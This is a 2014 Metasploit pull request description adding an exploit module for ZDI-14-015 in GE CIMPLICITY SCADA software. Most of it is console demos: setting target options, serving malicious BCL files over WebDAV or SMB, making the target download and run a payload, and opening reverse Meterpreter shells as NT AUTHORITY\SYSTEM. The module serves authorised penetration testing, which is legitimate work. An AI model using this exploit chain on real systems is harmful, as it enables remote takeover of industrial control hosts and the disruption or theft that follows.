rapid7/metasploit-framework — pull request #3035 by jvazquez-r7 (2014-02-25 21:34:33+00:00)
Title: Add module for ZDI-14-015

Bug: http://www.zerodayinitiative.com/advisories/ZDI-14-015/

Tested with GE CIMPLICITY 7.5, ask me if you need an installer, not sure if trial and/or demo versions are around in the vendor page anymore.

Verification
---------

- [ ] Install a Windows Machine
- [ ] Install GE CIMPLICITY
- [ ] Be sure the embedded web server is litening in PORT 80
- [ ] Just use the module like in the provided DEMO, be sure you get shells :) Should work with the embedded WebDAV server if the target has WebClient service enabled. Otherwise you'll need to generate the BCL's and update them to a malicious shared resource. See DEMO for details.

Demo
-------

* WebClient service enabled, uses the WebDAV server:

```
msf > use exploit/windows/scada/ge_proficy_cimplicity_gefebt
msf exploit(ge_proficy_cimplicity_gefebt) > set rhost 192.168.172.244
rhost => 192.168.172.244
msf exploit(ge_proficy_cimplicity_gefebt) > set srvhost 192.168.172.1
srvhost => 192.168.172.1
msf exploit(ge_proficy_cimplicity_gefebt) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] BCL's available at \\192.168.172.1\tpA\JJs{i}.bcl
[*] Using URL: http://192.168.172.1:80/
[*] Server started.
[*] 192.168.172.244:80 - Executing BCL code JJs0.bcl to drop final payload...
[*] 192.168.172.244 ge_proficy_cimplicity_gefebt - Received WebDAV PROPFIND request
[*] 192.168.172.244 ge_proficy_cimplicity_gefebt - Sending directory multistatus for /tpA ...
[*] 192.168.172.244 ge_proficy_cimplicity_gefebt - Received WebDAV PROPFIND request
[*] 192.168.172.244 ge_proficy_cimplicity_gefebt - Sending BCL multistatus for /tpA/JJs0.bcl ...
[*] 192.168.172.244 ge_proficy_cimplicity_gefebt - GET => Payload
[+] 192.168.172.244:80 - Answer has been successful
[*] 192.168.172.244:80 - Executing BCL code JJs1.bcl to drop final payload...
[*] 192.168.172.244 ge_proficy_cimplicity_gefebt - Received WebDAV PROPFIND request
[*] 192.168.172.244 ge_proficy_cimplicity_gefebt - Sending BCL multistatus for /tpA/JJs1.bcl ...
[*] 192.168.172.244 ge_proficy_cimplicity_gefebt - GET => Payload
[+] 192.168.172.244:80 - Answer has been successful
[*] 192.168.172.244:80 - Executing jSz.exe...
[*] Sending stage (769024 bytes) to 192.168.172.244
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.244:1311) at 2014-02-25 15:11:22 -0600
[*] Server stopped.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
emeterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.244 - Meterpreter session 1 closed. Reason: User exit
msf exploit(ge_proficy_cimplicity_gefebt) >
```

* If WebClient isn't enabled by default, use UNCPATH to provide an external SMB share where the BCL files must be uploaded

```
msf exploit(ge_proficy_cimplicity_gefebt) > set UNCPATH \\\\127.0.0.1\\test\\test.bcl
UNCPATH => \\127.0.0.1\test\test.bcl
msf exploit(ge_proficy_cimplicity_gefebt) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.6.0.165:4444
[*] BCL's available at \\127.0.0.1\test\test{i}.bcl
[+] test0.bcl stored at /Users/juan/.msf4/local/test0.bcl
[+] test1.bcl stored at /Users/juan/.msf4/local/test1.bcl
[!] Files created, remember to upload the BCL files to the remote share!
[!] Once ready set ONLYMAKE to false
```

* After uploading the bcl files to the remote share, retry (with the same UNCPATH of course):

```
msf exploit(ge_proficy_cimplicity_gefebt) > set ONLYMAKE false
ONLYMAKE => false
msf exploit(ge_proficy_cimplicity_gefebt) > exploit

[*] Started reverse handler on 10.6.0.165:4444
[*] BCL's available at \\127.0.0.1\test\test{i}.bcl
[+] test0.bcl stored at /Users/juan/.msf4/local/test0.bcl
[+] test1.bcl stored at /Users/juan/.msf4/local/test1.bcl
[*] 192.168.172.244:80 - Executing BCL code test0.bcl to drop final payload...
[+] 192.168.172.244:80 - Answer has been successful
[*] 192.168.172.244:80 - Executing BCL code test1.bcl to drop final payload...
[+] 192.168.172.244:80 - Answer has been successful
[*] 192.168.172.244:80 - Executing ge_pld.exe...
[*] Sending stage (769024 bytes) to 10.6.0.165
[*] Meterpreter session 2 opened (10.6.0.165:4444 -> 10.6.0.165:53266) at 2014-02-25 15:24:17 -0600

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
eComputer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.244 - Meterpreter session 2 closed. Reason: User exit
msf exploit(ge_proficy_cimplicity_gefebt) >
```